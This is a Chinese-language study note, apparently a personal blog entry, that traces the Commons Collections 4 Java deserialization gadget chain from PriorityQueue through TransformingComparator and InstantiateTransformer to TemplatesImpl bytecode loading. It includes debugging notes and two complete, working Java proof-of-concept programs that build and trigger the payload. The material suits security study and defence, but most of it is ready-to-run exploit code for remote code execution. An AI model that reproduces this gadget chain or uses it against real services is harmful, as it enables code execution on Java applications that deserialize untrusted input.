CC4-类的动态加载
环境搭建
换依赖
大概链子:
参考: https://www.bilibili.com/video/BV1NQ4y1q7EU?t=4.6
分析
从查找ChainedTransformer的transform方法的用法开始
注意是CC4的ChainedTransformer
然后查找这个transform的用法,最后找到的是
org.apache.commons.collections4.comparators.TransformingComparator类的compare方法
原因:
这个类可以序列化:
另一方面这个compare方法常用
然后找compare方法的用法
我们用到的是java.util.function.Consumer.PriorityQueue这个类的readObject
PriorityQueue.readObject -> PriorityQueue.heapify
heapify方法:
PriorityQueue.heapify -> PriorityQueue.siftDown
PriorityQueue.siftDown -> PriorityQueue.siftDownUsingComparator
PriorityQueue.siftDownUsingComparator -> TransformingComparator.compare
先写能够执行的代码:
TemplatesImpl.newTransformer -> defineClass -> newInstance
TrAXFilter.trAFilter -> TemplatesImpl.newTransformer -> defineClass->newInstance
TemplatesImpl.newTransformer -> defineClass->newInstance
卡到了这儿:
应该给_tfactory赋什么值?
看它的定义:
private transient TransformerFactoryImpl _tfactory = null;
在readObject这里有示例:
_tfactory = new TransformerFactoryImpl();
即增加:
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
接下来就是实现
InstantiateTransformer.transform -> TrAXFilter.TrAXFilter
InstantiateTransformer类的构造方法:
private InstantiateTransformer() {
super();
iParamTypes = null;
iArgs = null;
}
TrAXFilter构造方法:
public TrAXFilter(Templates templates)
_transformer = (TransformerImpl) templates.newTransformer();
这里templates = TemplatesImpl
transform方法:
final Constructor<? extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs);
此时con = TrAXFilter.class
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); // 参数类型,参数值
instantiateTransformer.transform(TrAXFilter.class);
- 难点是InstantiateTransformer类的构造方法初始化,其中Object指的是对象,传一个实例化对象即可,Class指的是Class对象,类.class即可
public InstantiateTransformer(final Class<?>[] paramTypes, final Object[] args)
然后就是TransformingComparetor.Compare -> InstantiateTransformer.transform
扩展的是:
instantiateTransformer.transform(TrAXFilter.class);
显然transformer = instantiateTransformer
TransformingComparetor类的构造方法:
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated)
即:
TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer, null);
transformingComparator.compare(TrAXFilter.class,null);
现在考虑调用compare
PriorityQueue.siftDownUsingComparator -> TransformingComparetor.compare
此时comparator = TransformingComparetor
但是siftDownUsingComparator被private修饰,不能直接调用
随后的调用链:
PriorityQueue.readObject -> heapify -> siftDown -> siftDownUsingComparator
该类的构造方法:
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator)
this.queue = new Object[initialCapacity];
this.comparator = comparator;
即令comparetor = TransformingComparetor
序列化与反序列化的时候会出现:
InstantiateTransformer 是一个不能序列化的类
为什么这条链是CC4,而不是CC3的?
可以看到:TransformingComparatro在CC3中没有实现Serializable接口,而在CC4里面实现了
× 打不通。。。
问题解决了。。。就是C4的版本不对
C4.0的InstantiateTransformer 实现了Serializable接口:
调试的时候发现这里进不去:
size的结果为0,size >>> 1的结果为0
经测试,size至少为2才能进入for循环:
就直接通过反射赋值吧
Class p = priorityQueue.getClass();
Field sizeField = p.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);
也可以通过add()函数增大size的值
priorityQueue.add(1);
priorityQueue.add(1);
如果这样的话就会触发:
add -> offer -> siftUp -> siftUpUsingComparator -> comparator.compare
会在反序列化之前提前触发
所以处理是:
这样的放在CC4_2.java中
赋值之后重新调
另:
PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator); // 构造方法也要选好
调的时候又发现问题:没有给这个input赋值
而且与之关联的comparator.compare这里不便赋值:
所以怎么办呢?想到了ConstantTransformer
这是发生在TransformingComparator.compare -> InstantiateTransformer.transform这里的
所以改的是:
TransformingComparator transformingComparator =
new TransformingComparator(instantiateTransformer, null);
改成了:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator =
new TransformingComparator(chainedTransformer, null);
所以说,ConstantTransformer+chainedTransformer 实际上也是一种赋值的方式
transformers数组内部莫名有种连续的感觉????
OK,这样子CC4的链子走完了。。
代码
下面这两段代码的区别就是将priorityQueue.heapify 方法中 size 赋值为2的方法不同
代码1
package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception{
// TemplatesImpl.newTransformer -> defineClass -> newInstance
TemplatesImpl templates = new TemplatesImpl();
// templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\CC4_Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
// new InvokerTransformer<>("",new Class[]{},new Object[]{});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}); // 参数类型,参数值
// instantiateTransformer.transform(TrAXFilter.class);
// TransformingComparator transformingComparator =
// new TransformingComparator(instantiateTransformer, null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator =
new TransformingComparator(chainedTransformer, null);
// transformingComparator.compare(TrAXFilter.class,null);
PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator); // 构造方法也要选好
Class p = priorityQueue.getClass();
Field sizeField = p.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);
// serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
代码2
package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4_2 {
public static void main(String[] args) throws Exception{
// TemplatesImpl.newTransformer -> defineClass -> newInstance
TemplatesImpl templates = new TemplatesImpl();
// templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\CC4_Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// 在反序列化的时候才会加上这个_tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
// new InvokerTransformer<>("",new Class[]{},new Object[]{});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}); // 参数类型,参数值
// instantiateTransformer.transform(TrAXFilter.class);
// TransformingComparator transformingComparator =
// new TransformingComparator(instantiateTransformer, null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator =
new TransformingComparator<>(new ConstantTransformer<>(1));
// 先改为没用的,
// transformingComparator.compare(TrAXFilter.class,null);
PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator); // 构造方法也要选好
// Class p = priorityQueue.getClass();
// Field sizeField = p.getDeclaredField("size");
// sizeField.setAccessible(true);
// sizeField.set(priorityQueue,2);
priorityQueue.add(1);
priorityQueue.add(1);
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}